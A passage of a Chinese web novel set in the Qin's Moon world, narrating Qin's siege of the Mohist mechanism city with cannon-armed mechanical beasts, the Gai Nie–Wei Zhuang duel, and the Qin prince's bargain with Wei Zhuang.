大铁锤怒吼着抡起巨锤,砸飞数支长矛,却见秦军第二波矛雨已至!
“退!退回去!”
矩子厉声喝道。
墨家弟子仓皇后撤,但已经晚了。
“进!”
蒙恬第三道军令落下。
黄金火骑兵的盾墙轰然散开,铁骑如洪流般冲锋。
战马嘶鸣,铁蹄踏**体,长刀出鞘,寒光如雪!
“杀——!”
秦军怒吼,声震云霄!!!
……
战报如雪片般飞至中军。
“报——!”
传令兵单膝跪在战车前,甲胄染血。
“后方出现不明军队,不下千人,旗帜为‘项’!”
赢子夜眉梢微挑,指尖轻叩案几。
“项氏一族?”
他抬眸看向韩信。
“韩参令,交给你了。”
昨日才赶到的韩信当即抱拳,破旧的衣袍在风中猎猎作响。
“卑职领命。”
他转身离去时,蒙恬忍不住皱眉。
“公子,项氏一族骁勇善战,韩参令只带五千人……”
“足够了。”
赢子夜轻笑,目光投向远处烟尘滚滚的后方战场。
“韩信……最擅长的就是以弱胜强。”
……
战场侧翼,项氏铁骑如狂风般席卷而来!
项少羽一马当先,霸王枪横扫,三名秦军瞬间被挑飞。
他身后千名楚地精锐怒吼冲锋,铁蹄踏得大地震颤!
“杀秦狗!救墨家!”
楚军气势如虹,眼看就要撕裂秦军侧翼!
“变阵。”
韩信立于高处,声音平静得可怕。
令旗挥动,五千秦军瞬间变阵!
前排盾兵突然蹲伏,露出后排早已蓄势待发的强**手。
“放!”
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“嗖嗖嗖——!”
箭雨倾泻,楚军冲锋势头为之一滞。
战马嘶鸣着栽倒,骑士被抛飞。
但项少羽依旧挺枪突进。
“不要停!冲过去!”
楚军不愧是精锐,虽损三成,仍悍不畏死地冲锋。
眼看就要撞上秦军阵线!
“散。”
韩信第二道命令落下。
秦军阵型突然如花瓣般散开,露出后方早已挖好的陷马坑!
冲在最前的楚军铁骑猝不及防,连人带马栽入坑中,被坑底铁刺贯穿。
“卑鄙!”
项少羽目眦欲裂,霸王枪横扫,挑飞几名秦军。
“那秦将!可敢与我一战!”
韩信立于高坡,破旧的衣袍随风舞动。
他面无表情地看着陷入混乱的楚军,缓缓抬手。
“围。”
第三道军令如死神的宣判。
两侧山脊突然竖起秦军旗帜,早已埋伏多时的**手万箭齐发!!
楚军被三面夹击,阵型大乱。
“项将军!”
副将浑身是血地冲到项少羽身旁。
“我们中计了!突围吧!”
项少羽咬牙看向远处岌岌可危的机关城,又回头看着不断倒下的楚军将士,虎目含泪。
“撤…撤退!”
楚军开始拼死突围,但韩信的包围圈如铁桶般严密。
“锥形阵,东南角。”
韩信一眼看穿项少羽的意图,令旗再变。
秦军长矛手迅速集结,在楚军突围路线上筑起钢铁丛林。
每一次冲锋都留下数十具尸体,鲜血染红了整片山坡!
“秦狗——!”
项少羽怒吼着挑飞数名秦军,却见更多长矛如林刺来。
他不得不调转马头。
“全**向!从西侧突围!”
韩信嘴角微扬,“晚了。”
西侧谷口,早已埋伏的秦军铁骑突然杀出,将楚军残部拦腰截断!
项少羽身边亲卫越来越少,最终只剩百余骑拼死护主。
“将军快走!”
一名老亲卫用身体挡住飞来的箭矢。
“楚地……不能没有您!”
项少羽虎目通红,霸王枪横扫出一条血路,终于带着数十残兵冲出重围。
他回头望向战场,只见遍地楚军尸骸中,韩信正平静地收起令旗。
两人隔空对视。
项少羽眼中是滔**火,韩信眼中却只有冰冷的计算。
“秦狗……我记住你了!”
项少羽的怒吼在山谷间回荡。
远处山巅,第一缕阳光刺破云层,照在韩信染血的衣袍上。
他静静望着项少羽逃离的方向,破旧的剑鞘轻轻颤动。
这一战,他韩信之名,将响彻天下!!!
……
中军,战报传来。
“项氏残部突围,折损七成。”
传令兵跪地禀报,“韩参令请示是否追击?”
赢子夜把玩着青铜棋子。
“不必了。”
棋子“嗒”地落在棋盘上。
“丧家之犬,不足为虑。”
蒙恬肃然抱拳!
“韩参令此战……当真鬼神莫测。”
“这才刚开始。”
赢子夜望向远处硝烟弥漫的机关城。
“好戏…还在后头。”
第59章 机关兽军团,出动!
墨家机关城外。
黄金火骑兵的铁甲在朝阳下泛着森冷的寒芒。
战旗猎猎,遮天蔽日。
三十万秦军如黑色潮水般压境,战鼓声震彻山谷,惊得飞鸟四散。
“风!风!风!”
秦军齐声怒吼,声浪如雷霆炸响,连机关城的青铜城墙都微微震颤。
蒙恬立于阵前,鎏金战甲熠熠生辉。
长戟一挥,黄金火骑兵如钢铁洪流般冲锋!
铁蹄踏地,大地轰鸣!
战马嘶鸣间,秦军如狂风般席卷着墨家防线。
“放箭!!”
城墙上,班大师的机关手猛地一挥。
墨家弟子万箭齐发,箭雨如蝗,铺天盖地射向秦军。
然而,黄金火骑兵的铜盾如铁壁般竖起。
箭矢撞击其上,火花迸溅,却未能阻其锋芒。
“杀——!”
秦军怒吼,长矛如林,狠狠刺入墨家弟子的阵型。
大铁锤抡起千斤巨锤,怒吼着砸飞数名秦兵。
然而黄金火骑兵的纪律森严,丝毫不乱。
前排倒下,后排立刻补上。
层层推进,如绞肉机般碾碎墨家防线。
“退!退回去!”
矩子黑袍翻飞,厉声喝道。
墨家弟子仓皇后撤。
然而就在此时!
“轰——!!!”
大地震颤。
机关城外围的青铜巨门缓缓开启。
数头庞然大物从阴影中冲出。
赫然是墨家的王牌!
机关兽!
青铜巨虎咆哮着扑入秦军阵中。
铁爪横扫,数名骑兵连人带马被撕成碎片。
玄铁麒麟奔跃前行,所过之处,秦军战马惊嘶,阵型大乱。
更有朱雀机关振翅腾空,喷吐烈焰。
瞬间点燃秦军后阵。
“哈哈哈!秦狗,尝尝墨家的厉害!”
大铁锤狂笑着,巨锤砸地,震退数名秦兵。
秦军阵中,赢子夜立于战车之上。
玄色大氅在风中猎猎作响。
他冷眼看着墨家机关兽肆虐前军,嘴角却缓缓勾起一抹冷笑。
“公输仇。”
他淡淡开口,声音不大,却让身旁的蒙恬瞬间绷直脊背。
“老朽在。”
公输仇从战车后的阴影中走出,独眼闪烁着疯狂的光芒。
机关臂“咔咔”作响。
“接下来,看你的了。”
赢子夜轻声道,眼中寒芒一闪。
公输仇咧嘴一笑,露出森白的牙齿。
“公子放心,墨家的玩具……该碎了!!!”
他猛地抬手,机关臂上的齿轮疯狂转动。
一道赤红色的信号弹冲天而起,在苍穹之上炸开。
“轰——!!!”
震天动地的巨响,当即自东方山坞炸开!
紧接着,第二声、第三声……
连绵不绝的轰鸣如雷霆万钧,宛若天罚降世,整片山谷都在颤抖!
“什、什么声音?!”
蒙恬猛然抬头,鎏金战甲映着火光,瞳孔剧烈收缩。
只见远处战线上,数十头体型庞大的机关兽缓缓迈步,轰隆隆地踏入战场。
它们形貌各异,有的背生金属甲鳞,有的四足如柱,有的满身火管、钢刺交错,最令人惊骇的是——
它们的脊背与肩甲处,赫然架设着一排排粗大的黑铁炮管!!
炮口如巨兽之口,正缓缓调整角度,对准机关城东谷!
“放!!”
韩信立于高丘之巅,破袍猎猎,衣角烈风翻飞。
他手中令旗猛然挥落!
“轰——!!!”
炮火怒吼,巨兽齐鸣!
机关兽一边推进,一边同时发射背部重炮!
天雷滚滚,一轮火雨铺天盖地倾斜而下!!!
炮弹如同流星坠落,狠狠砸进机关城东谷!
“轰!!!”
一声爆响,火光冲天,冲击波横扫整片山谷!
墨家外城的防御工事如同纸糊一般轰然崩塌,巨石、梁柱、楼阁在**中炸裂、翻飞!
“这…这是什么妖术?!”
大铁锤瞪大双眼,手中巨锤“咣当”一声落地,整个人仿佛被抽走了力气!
班大师的机关手哗啦啦震动,齿轮乱转,整条手臂几乎失控。
他死死盯着那些一边行进一边喷吐炮火的机关兽,声音嘶哑颤抖:
“不可能…秦军怎会掌握这种机关火器?!”
矩子黑袍猎猎,独眼阴沉如墨,手指死死攥紧,指节发白。
他墨家机关术纵横天下三百年,也从未见过如此可怕的战争形态!
巨兽推进,炮火覆盖,一体碾压!!
“全军!撤入内城!!”
他厉声怒吼,声音沙哑刺耳:“快!!”
然而,狂暴的炮火仍在持续!
第二轮齐射接踵而至!
“轰!轰!轰——!!!”
机关兽停下步伐,后背炮口再次喷出火光。
黑烟如龙,炮弹如雨,整个东谷转瞬间化作火海地狱!
烈焰灼天,石柱断裂,青铜护栏熔化!
数十名墨家弟子被气浪掀飞,重重撞在城墙上,血肉模糊,横尸遍地!
“轰——!!!”
一枚重炮炮弹精准命中内城机关**台,青铜巨**整个炸裂,断弦飞舞!
“啊啊啊啊!!”
碎片乱飞,有人被拦腰截断,有人被当场烧成焦炭。
大铁锤怒吼着想冲上去,却被徐夫子死死拽住!
“冷静!!”
徐夫子神色惨白,身躯微颤:“这不是人力能抗衡的东西了……”
他望向远方,那些浑身冒着蒸汽、背负火炮的黑铁巨兽仍在推进,铁蹄所踏,无不哀嚎!
远处,卫庄立于山巅。
银发在炮火映照下如雪般刺目。
鲨齿剑斜倚肩头,猩红的眼眸微微眯起。
他冷峻的面容罕见地浮现一丝凝重。
“呵……赢子夜,你倒是藏了一手。”
他低语,声音冰冷。
赤练站在他身侧,红唇微张,眼中满是震撼。
“这样的火力…即便是流沙,也未必能全身而退。”
白凤静立树梢,羽刃无声收拢,眸光闪烁。
“秦军的底牌,比想象中更多。”
而与此同时。
秦军阵中,玄翦隐匿于阴影之下。
黑袍下的面容第一次露出惊色。
他死死盯着远处的机关兽炮阵,手指不自觉地抚上剑柄。
“这种兵器……必须立刻禀报大人!”
他低声自语,身影如鬼魅般退入黑暗。
炮火仍在继续。
第三波、第四波……
整个东谷已被炸成焦土。
墨家弟子尸横遍野,残肢断臂散落一地。
火焰冲天,黑烟滚滚,连天空都被染成血色。
蒙恬立于阵前,长戟顿地,眼中精光暴涨。
即便是他这等沙场老将,也从未见过如此恐怖的毁灭之力。
“公子……”
他沉声开口,声音中难掩震撼。
赢子夜负手而立。
玄色大氅在炮火映照下如深渊般幽暗。
他嘴角微扬,眼中寒芒闪烁。
“墨家机关城,不过如此。”
……
良久后,炮声的余韵仍在山谷间回荡。
浓烟遮蔽了半边
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天空。
东谷的废墟上,残火未熄。
焦土间散落着扭曲的青铜碎片,那是墨家机关兽最后的残骸。
只见一头秦军的黑铁巨兽从火海中缓缓走出,身躯如山,步履沉重。
它通体漆黑,背负双管青铜火炮,炮口仍在冒着热气。
一脚踏下,将残存的朱雀翼片碾得粉碎。
“这…这不是机关术!”
“这是…毁灭。”
班大师失魂落魄地喃喃。
他眼睁睁看着自己毕生心血化为焦炭,而对面的机关兽却仍如铁流般前进。
“不能再退了!”
徐夫子低吼,眼中血丝密布,拔剑怒喝,“全部启动内城机关兽!”
轰隆隆!!
机关城深处,一道道封印的古老机关被唤醒。
沉重的地脉传动声震颤整座山谷。
一道道巨型青铜门打开,数十头墨家积蓄已久的“本命机关兽”缓缓现身!
它们是机关城真正的底蕴,是代代机关大师们的结晶!
“麒麟、玄武、应龙、炎凤……出战!!!”
班大师目眦欲裂,怒吼出声。
那些青铜神兽全身铭纹亮起,火油灌注,齿轮咬合,甲板震颤!
它们咆哮着冲向前线,带着百年传承之怒!
“杀啊——!!!”
墨家弟子振奋精神,随之齐声怒吼!
眼见一头麒麟机关兽奋勇跃起,重蹄轰碎一头黑铁冲击兽,众人欢呼!
“还没输!!我们还有一战之力!!”
然而——
战争平台之上,公输仇神色漠然,嗤笑一声。
“这就是你们的底牌?”
他缓缓抬手,机关臂“咔啦”一声展开十六节锁链,一指前方!
“全军…出动!”
“让他们看看,什么才是这个时代的机关术!!”
“轰隆隆——!!!”
一整排沉睡的钢铁巨兽从秦军后方苏醒!
五十头!
一百头!!
三百头!!!
机关兽集群同时咆哮!
它们通体黑铁、装甲厚重,背负火炮、箭台、喷焰口、突击棘轮!
有如虎豹奔腾,有似巨猿擎天!
“奔雷虎”“双足犀”“裂羽雕”“擎天猿”!
还有体型庞大如山、背负十管火炮的终极机关兽“镇岳龙象”!
它们如洪流般碾压山谷!
天地间仿佛响起了沉闷的战鼓,无尽铁兽踏碎山石、撕裂尘烟。
下一瞬——
两军机关兽正面碰撞!
“轰!!!
轰!!!
轰——!!!”
黑铁巨兽咆哮着冲入战场,铁蹄落地,震碎山石!
它猛扑上前,一爪拍下,墨家的青铜巨虎还未来得及转身,便被重击轰翻!
铁骨崩裂,兽首扭断,整具机关瞬间四分五裂,火油横溢!
玄铁麒麟自阴影中跳跃而出,铁鳞闪动,灵活撕咬向对方后腿。
却被另一头机关犀牛从侧翼撞翻!
紧接着,一头巨狼型机关兽扑上,一口死死咬住麒麟颈。
机关齿轮疯狂运转,发出“咯咯咯”的撕裂声!!!
“咔啦!!!”
麒麟的铁骨被生生撕裂,碎片乱飞!
空中,墨家的朱雀机关俯冲而下,携烈焰之势欲轰穿敌阵。
但对面,一头赤焰巨蜥早已昂首等候,脊背上的喷火器“轰”地一声爆燃,喷出三丈火龙,直扑而上!
两道烈焰撞击,空中炸出一团火球!
墨家朱雀瞬间被火焰吞噬!
烈火包裹着精密机关在半空炸开,化作流焰残骸坠落地面!
第60章 墨家几百年荣耀,毁于一旦!
“嘶——!!!”
班大师失声惊呼,脸色惨白如纸。
“这……这不可能!!”
他亲手打造的玄武重甲兽,在战场另一侧发出轰隆隆的推进声,正以五层护盾缓慢前进。
但下一刻,一头公输家的双足冲击兽猛然跃起,两只重锤臂朝玄武头部“轰!轰!”连砸两记!
打得玄武机关护罩瞬间龟裂。
紧接着,背后三管火炮齐发,轰得玄武后躯炸裂,铁壳飞舞!
“杀!杀光墨家贼子!!”
秦军战阵中,战鼓如雷!
而公输仇高立战争平台之上,仿佛地狱主宰!
他伸出机关臂,“咔啦”一声展开十六节连锁,每一节内嵌火石与精密发条,蓄势待发。
“痛快!”
他狂笑,双目赤红:“这才是机关术的真谛!毁灭!!”
“给我碾碎他们——!!!”
这一刻,公输家三百多头机关兽全部冲出。
重盾型“双足犀”列阵前锋,顶着密集**箭缓缓推进。
突击型“奔雷虎”四足喷气,高速绕袭,残影连闪!
空中飞禽型机关“裂羽雕”“毒刃鸢”掠空轰鸣,携带**装置,对墨家阵地展开地毯式轰炸!
还有那几头庞然如山的“镇岳龙象”,背负十管火炮,双臂巨锤连环轰砸,城墙之上机关尽毁,灰尘滚滚!
“轰!!!”
一整段城墙被生生撞塌,墨家防线全线崩溃!
“统领!!”
几名弟子哭喊着扑向倒下的大铁锤,后者浑身鲜血,却仍挣扎着起身,一锤砸翻逼近的一头机关兽头部。
“不能退!”
他怒吼:“后面还有人!!”
“墨家弟子,跟我上!!”
另一边,徐夫子横剑挡下奔雷虎的利爪,剑身火光四溅,嘴角鲜血直流。
他怒目而视,却几乎站不稳。
“咚——!!!”
大铁锤砸飞一头冲来的铁狼,双腿却也随之跪地,身披伤痕。
他看着眼前那一头头不断压来的黑铁巨兽,咬牙怒吼:
“这哪是机关术……这是战争魔神!!”
班大师控制台前手指飞舞,却发现控制区域被持续干扰,面如死灰。
“……我们落后了整整一个时代。”
他颤声道:“不,是被抛弃了。”
而这时,秦**骑兵也冲破缺口,紧随机关兽之后,席卷入城。
整座机关城,在炮火、钢铁与血的轰鸣中,摇摇欲坠!
而战争平台上,公输仇仰天狂笑,声音如**苍穹:
“机关术数百年,今日…该由我重写!!!”
大铁锤双目赤红,抡起千斤巨锤冲向最近的一头机关兽。
“老子跟你们拼了!”
锤风呼啸,却在接触的瞬间被反震力震得虎口迸裂。
机关兽甚至没有停顿,铁尾一扫,将他连人带锤扫出十余丈。
重重撞在残破的城墙上。
徐夫子剑光如虹,却在劈中机关兽关节时溅起一溜火花。
“它们的关节……完全打不穿……”
这位剑术大师第一次露出绝望的神色。
话音未落,一道黑影笼罩头顶,玄铁巨爪轰然拍下。
他勉强闪避,左臂仍被刮去大片血肉。
盗跖的电光神行步在废墟间闪烁,却快不过机关兽的**。
一头形似蜈蚣的机关兽突然从地底钻出。
铁足如镰,险些将他拦腰截断!
“这些怪物…完全不是人力能对抗的……”
他本就有伤,喘着粗气,虎口渗出的鲜血染红了铜钱。
矩子的黑袍在热风中猎猎作响。
他看着最后三头墨家机关兽被公输家的造物撕碎。
青铜零件如雨点般从空中坠落。
一名墨家弟子试图抢救核心机关,却被突然喷发的蒸汽烫得皮开肉绽。
惨叫声戛然而止!
一头机关兽的铁足已经将他踩进焦土。
“撤退!全部撤回中枢机关室!”
矩子的声音第一次出现了裂纹。
他狠狠捏碎手中的青铜令牌,碎屑从指缝间簌簌落下。
这是墨家几百年来…最惨重的失败!!!
所有外城机关全毁,弟子十不存一。
在机关兽的咆哮声中,赢子夜缓缓抬起右手。
公输仇会意地狞笑着,机关臂发出刺耳的金属摩擦声。
数百头钢铁巨兽同时停步,血红的晶石眼瞳冷冷注视着溃逃的墨家众人。
仿佛在嘲弄他们的徒劳。
残阳如血,照在遍地狼藉的战场上。
扭曲的青铜残骸与焦黑的尸体构成一幅地狱图景。
墨家几百年的机关荣耀…
在这一日,被彻底碾碎成尘!!!
……
就在最后一头墨家机关兽轰然倒下的瞬间。
一道白色身影如惊鸿般掠过战场!
“铮——!”
木剑出鞘的清音响彻战场。
盖聂的身影已挡在溃逃的墨家弟子与机关兽之间。
渊虹虽未出鞘,但那柄看似普通的木剑上,却凝聚着令人心悸的剑气!
“止步。”
他的声音不大,却让最前头的黑铁巨兽竟真的停顿了一瞬!
机关兽血红的晶石眼瞳闪烁不定,似乎在评估这个突然出现的人类带来的威胁。
公输仇在远处发出刺耳的大笑:“剑圣盖聂?就凭一柄木剑也想拦住我的机关兽?”
盖聂没有回答。
他的目光平静如水,身形却如渊渟岳峙。
木剑斜指地面,剑尖三寸处,空气竟开始微微扭曲!!
就在此时——
“你的对手,是我。”
冰冷的声音从半空传来。
卫庄如鬼魅般落在机关兽背上,鲨齿剑泛着寒光。
银发在硝烟中飞扬,猩红的眼眸中燃烧着战意。
盖聂的瞳孔微微一缩:“小庄……”
“别用那个称呼叫我。”
卫庄剑锋直指盖聂,“今日,我要亲手了结你我之间的恩怨。”
盖聂轻叹一声:“非要在此刻?”
“此刻…正好。”
卫庄冷笑,“让你亲眼看着墨家覆灭,再死在我的剑下。”
话音未落,鲨齿剑已化作一道寒芒直取咽喉。
盖聂木剑轻抬,“叮”的一声脆响,两柄剑相击处迸发出耀眼的火花。
“退开!”
卫庄厉喝,剑气暴涨!
盖聂借力后跃,两人一前一后掠过战场。
所过之处,连机关兽都不由自主地让开道路。
“你的剑,变慢了。”
卫庄在空中连斩三剑!
每一剑都带着撕裂空气的尖啸!
“是你太急躁了。”
盖聂以木剑画圆,将攻势尽数化解。
但木剑上已出现一道细微的裂痕。
两人落在远处一座半塌的箭楼上,隔着三丈距离对峙。
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下方是仍在肆虐的机关兽。
身后是节节败退的墨家弟子。
“你救不了他们。”
卫庄甩了甩鲨齿剑,“也救不了任何人。”
盖聂的眼神终于出现一丝波动:“住口。”
“怎么?剑圣也会动怒?”
卫庄的笑容愈发冰冷,“那就用你的剑让我闭嘴!”
剑光再起。
两人身影在残垣断壁间闪烁。
每一次交锋都带起凌厉的剑气!
将周围的碎石瓦砾绞得粉碎!
他们的战斗渐渐远离主战场,消失在群山之间!
但那股惊人的剑意,依然让远处的赢子夜微微眯起了眼睛。
“有趣。”
赢子夜轻抚腰间天子剑,“鬼谷纵横的传人,果然名不虚传。”
公输仇舔了舔嘴唇:“要派人追击吗?”
“不必。”
赢子夜摇头,“他们的战斗,外人插手只会徒增伤亡,继续推进,今日之内,我要墨家机关城从地图上消失。”
随着他的命令,机关兽军团再次发出震天咆哮。
向着已经支离破碎的墨家防线碾压而去。
只见机关兽军团摧枯拉朽,踏破最后一道防线!
墨家机关城深处,却突然传来一阵沉闷的机械轰鸣。
“咔——咔咔——”
整座山体都在震颤。
数十道青铜闸门从岩壁中轰然落下,将前进的道路彻底封死。
最前方的黑铁巨兽收势不及,一头撞在闸门上,竟被反震得踉跄后退!
“哼!垂死挣扎!”
公输仇的机关臂“咔咔”作响,独眼中闪烁着暴怒的火光,“区区几道闸门就想拦住我的机关兽?”
然而下一秒,城墙上突然探出数百个黑洞洞的管口。
“小心!”
蒙恬厉声喝道。
“嗖嗖嗖——”
无数淬毒的铜针如暴雨般倾泻而下。
叮叮当当地打在机关兽的外壳上。
虽然无法穿透钢铁装甲,但针尖上的幽蓝液体却在接触瞬间冒出刺鼻的青烟!
竟是腐蚀性极强的毒液!!!
“嗤——”
一头机关兽的关节处开始冒出白烟,行动顿时变得迟缓。
另一头则被毒液溅入晶石眼瞳,视野顿时模糊不清。
“混账!”
公输仇暴跳如雷,“墨家的阴毒手段!”
赢子夜抬手示意停止进攻。
他眯起眼睛打量着那些仍在不断变换的机关防御。
旋转的刀阵、喷涌的毒雾、时隐时现的陷坑……
这已经不仅仅是普通的机关术,而是将整座山体都改造成了杀戮机器!
“公子,让我再调十头破城兽来!”
公输仇咬牙切齿道,“半日之内必能……”
“不必。”
赢子夜轻轻抬手打断他,“机关兽虽多,但强攻内城机关,损耗太大。”
他转向蒙恬:“传令,收兵。”
蒙恬抱拳:“诺!”
公输仇急道:“可是……”
“公输先生。”
赢子夜的声音依然平静,却带着不容置疑的威严,“本公子给你一天时间,明日此时,我要看到破解之法。”
公输仇的独眼闪烁了几下,终于躬身:“老朽……领命。”
随着鸣金声响起,秦军如潮水般退去。
机关兽们发出不甘的咆哮。
但在主人的操控下,还是缓缓撤出了战场。
第61章 猛虎虽凶,只要握住缰绳,便是猎犬
机关城墙内。
青铜火把摇曳着昏黄的光,将满目疮痍的中央大厅映照得如同鬼域。
空气中弥漫着血腥与药草混合的刺鼻气味,伤者的**声此起彼伏。
端木蓉的素白衣裙早已被鲜血浸透。
她跪坐在石板上,纤细的手指飞快地穿梭在伤患之间。
银针在她指尖闪烁着寒光。
每一次落针都精准得令人心惊。
“按住他!”
她厉声喝道,声音嘶哑得不像话。
两名墨家弟子立刻扑上前,死死压住一个胸口中箭的同门。
端木蓉咬紧牙关,镊子探入伤口时发出令人牙酸的摩擦声。
伤者发出撕心裂肺的惨叫,随即昏死过去。
“蓉姑娘……”
一旁的弟子递来汗巾,却被她一把推开。
“下一个!”
她抹了把额前被血黏住的碎发,指尖微微发抖。
药箱里的止血散已经见底,绷带也所剩无几。
大厅角落,班大师的机关手无力地垂在身侧,齿轮间卡着几片青铜碎片。
他呆坐在机关图谱前,目光涣散。
竹简上密密麻麻的标记此刻显得如此可笑。
那些精心设计的防御机关,在公输家的钢铁怪物面前就像孩童的玩具。
“老班……”
徐夫子拄着剑走过来,剑穗上沾满凝固的血块。
班大师的机关手突然“咔”地一声攥紧,将半张竹简扯断。
“几百年的机关术传承……”
他的声音像是从砂纸上磨出来的,“就这么…败给了那个疯子…”
矩子的黑袍无声地掠过满地伤患。
他停在班大师身后,枯瘦的手按在老人肩上。
“墨家不会就此终结。”
他的声音依然沙哑沉稳,却带着某种说不出的疲惫。
班大师猛地抬头,机关手指向窗外。
那里,秦军的营火如同星河般绵延到视野尽头。
“您看到了吗?那些机关兽!公输仇那个老匹夫明天就会——”
“我知道。”
矩子打断他,斗笠下的阴影遮住了表情。
他转向大厅中央。
那里,一名墨家弟子正半跪着为天明包扎手臂上的擦伤。
高月蹲在一旁,小手紧紧攥着天明的衣角。
两个孩子脸上还带着未干的泪痕,却倔强地咬着嘴唇不哭出声。
天明的木刃在腰间微微发亮。
高月的发梢还沾着**时的烟灰。
矩子的目光在他们身上停留了片刻。
那一瞬间,他黑袍下的身躯似乎变得更加佝偻,又似乎绷紧如弓弦。
独眼中闪过一丝难以捉摸的光芒,像是深夜海面上转瞬即逝的灯塔。
“矩子……”
端木蓉不知何时站在了他身后,手中还捏着染血的银针。
她的眼神锐利如常,却在看到矩子的侧脸时微微一颤。
“去休息吧,蓉姑娘。”
矩子没有回头,“明日…还有恶战。”
大厅另一侧,大铁锤“咣当”一声把巨锤砸在地上。
“怕什么!大不了跟他们拼了!”
他的吼声震得火把一阵摇晃,“老子就是死也要拉上几个秦狗垫背!”
盗跖靠在石柱上把玩着铜钱,闻言嗤笑一声:“就你现在这样?连锤子都举不稳了吧?”
但他的笑声里没有往日的戏谑。
铜钱在指间转得飞快,几乎要擦出火花。
徐夫子默默擦拭着长剑,剑身上的缺口映着他疲惫的面容。
整个大厅弥漫着绝望的气息,连空气都仿佛凝固了。
矩子缓步走向中央的沙盘。
沙盘上的机关城模型已经残缺不全。
象征着秦军的黑色小旗插满了外围。
他的手指轻轻拂过内城的轮廓,在代表中央机关室的位置停顿了一下。
“所有人听着。”
他突然开口,声音不大却让整个大厅瞬间安静下来,“子时之前,完成所有伤员的转移工作。”
班大师猛地抬头:“矩子,您的意思是——”
“机关城守不住了。”
矩子的声音平静得可怕,“但墨家的火种必须延续。”
他的目光再次扫过天明和高月,这一次停留得更久。
两个孩子茫然地回望着他,不明白这个总是笼罩在黑袍下的长辈眼中,为何突然涌现出如此复杂的情感。
端木蓉手中的银针“叮”地掉在地上。
她张了张嘴,却什么也没说出来。
大厅里安静得能听见火把燃烧的噼啪声。
所有人都看着那个站在沙盘前的黑袍身影。
看着他缓缓抬起的手。
看着他将代表“玄武计划”的青铜令牌轻轻放在了沙盘正中央。
没有人说话。
但每个人心里都明白。
当明日朝阳升起时,这座经营了几百年的机关城,将迎来它最后的时刻。
……
夜色如墨。
秦军大营却灯火通明。
黄金火骑兵的营地中央燃起数堆篝火。
烤肉的油脂滴落在火堆里,发出“滋滋”的声响。
将士们举着酒碗高声谈笑,鎏金铠甲映着火光,将今日大胜的喜悦映照在每一张脸上。
“痛快!真**痛快!”
樊哙拎着酒坛,黝黑的脸上泛着红光,“老子今天一斧头劈了三个墨家崽子!”
周勃擦拭着长刀,闻言笑道:“你那算什么?韩参令的炮阵才叫厉害,一炮下去,墨家的城墙就跟纸糊的一样!”
不远处,韩信独自坐在阴影里,破旧的衣袍上还沾着硝烟。
他安静地饮着清水,对周围的喧闹充耳不闻。
只有那双眼睛偶尔闪过精光,仿佛仍在推演明日的战局。
中军大帐前,赢子夜斜倚在软榻上,玄色大氅随意地搭在肩头。
他手中把玩着一柄短刀,听着蒙恬汇报战果。
“今日共歼敌三千余人,摧毁墨家机关兽七具。”
蒙恬的鎏金战甲擦得锃亮,“我军伤亡不足五百,可谓大获全胜。”
赢子夜唇角微扬:“公输仇那边如何?”
“正在连夜研究破解内城机关之法。”
蒙恬顿了顿,“不过他说…需要那个。”
赢子夜眼中寒芒一闪,短刃“嗒”地落在案几上:“不管他要什么,都准了。”
就在这时,营帐外的喧闹声突然一静。
赢子夜抬眼望去,只见一道修长的身影踏着月色而来。
卫庄的银发在火光中泛着冷光,鲨齿剑斜倚肩头。
但那一向纤尘不染的大衣此刻却撕裂数处,衣摆上沾着斑驳的血迹。
“卫庄大人!”
赤练第一个冲上前,猩红的长鞭不自觉地缠上手腕。
她的红唇微张,眼中满是惊色:“您受伤了?”
白凤无声地落在卫庄身侧,羽刃已经出鞘三分:“需要追击吗?”
隐蝠从阴影中探出头,贪婪地嗅着空气中的血腥味:“嘿嘿……要不要我
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去给那个剑圣下点毒?”
卫庄抬手制止了他们。
他的步伐依然稳健,但赤练敏锐地注意到,他握剑的指节因用力而发白。
“不必。”
卫庄的声音比往常更加冰冷,“他走不远。”
他径直走到赢子夜面前,猩红的眼眸中燃烧着前所未有的战意。
两人目光相接,空气仿佛都凝固了一瞬。
“我需要变得更强。”
卫庄开门见山,声音低沉如闷雷。
赢子夜眉梢微挑,却没有丝毫意外。
他慢条斯理地坐直身子:“看来今日一战,卫庄兄感触颇深?”
卫庄的鲨齿剑微微震颤,发出细微的嗡鸣。
他的眼前仿佛又浮现出那柄看似普通的木剑——
每一次交锋都精准地预判他的攻势。
每一次格挡都带着山岳般的沉稳。
最令他心惊的是,比起上次相遇,盖聂的剑意竟然又精进了!!!
“若再战下去……”
卫庄罕见地停顿了一下,“百招之后,我必败。”
这句话如同一块寒冰投入火堆,周围的温度似乎都下降了几分。
赤练倒吸一口冷气。
白凤的瞳孔骤然收缩。
就连一向狂傲的苍狼王都露出了难以置信的表情。
赢子夜却笑了。
他修长的手指探入袖中,取出一枚龙眼大小的丹药。
丹药通体莹白,表面有淡淡的金纹流转。
刚取出就散发出一股沁人心脾的清香。
“这是‘九转还魂丹’,可愈内伤,固本培元。”
赢子夜随手一抛,“接着。”
卫庄毫不犹豫地接住丹药,仰头吞下。
丹药入口即化,一股暖流瞬间流遍四肢百骸。
他肩头一道深可见骨的剑伤以肉眼可见的速度愈合,体内紊乱的真气也逐渐平复。
赤练紧张地注视着他的变化:“大人,感觉如何?”
卫庄闭目调息片刻。
再睁眼时,眸中的猩红更加深邃:“好东西。”
赢子夜把玩着腰间的玉佩,似笑非笑:“待平定墨家之后,本公子会给你真正想要的东西。”
“哦?”
卫庄的鲨齿剑微微出鞘三寸,寒光映在他冷峻的面容上,“你知道我想要什么?”
“力量。”
赢子夜的声音很轻,却让卫庄的瞳孔微微一缩,“足以超越盖聂的力量。”
营帐前的篝火突然爆出一串火星,映照着两人对视的身影。
卫庄的银发无风自动,周身杀气如有实质。
但赢子夜依旧从容,甚至悠闲地给自己斟了杯酒。
良久,卫庄缓缓收剑入鞘:
“我等着。”
他转身离去,赤练等人立刻跟上。
白凤回头看了眼赢子夜,眼中闪过一丝警惕。
这个看似慵懒的秦公子,竟能一眼看穿卫庄大人心中所想……
待流沙众人走远,蒙恬忍不住低声道:“公子,卫庄此人桀骜不驯,若让他变得更强……”
赢子夜轻笑一声,将杯中酒一饮而尽:“猛虎虽凶,只要握得住缰绳,便是最好的猎犬。”
他望向远处墨家机关城的轮廓,眼中寒芒闪烁:“况且…明日之后,墨家将不复存在。”
“一个没有猎物的猎手,除了继续为主人效力,还能去哪呢?”
夜风拂过营地,带来远处机关城隐约的机械运转声。
赢子夜把玩着空酒杯,唇角勾起一抹意味深长的笑容。
第63章 阴阳家的手,伸的是不是太长了?
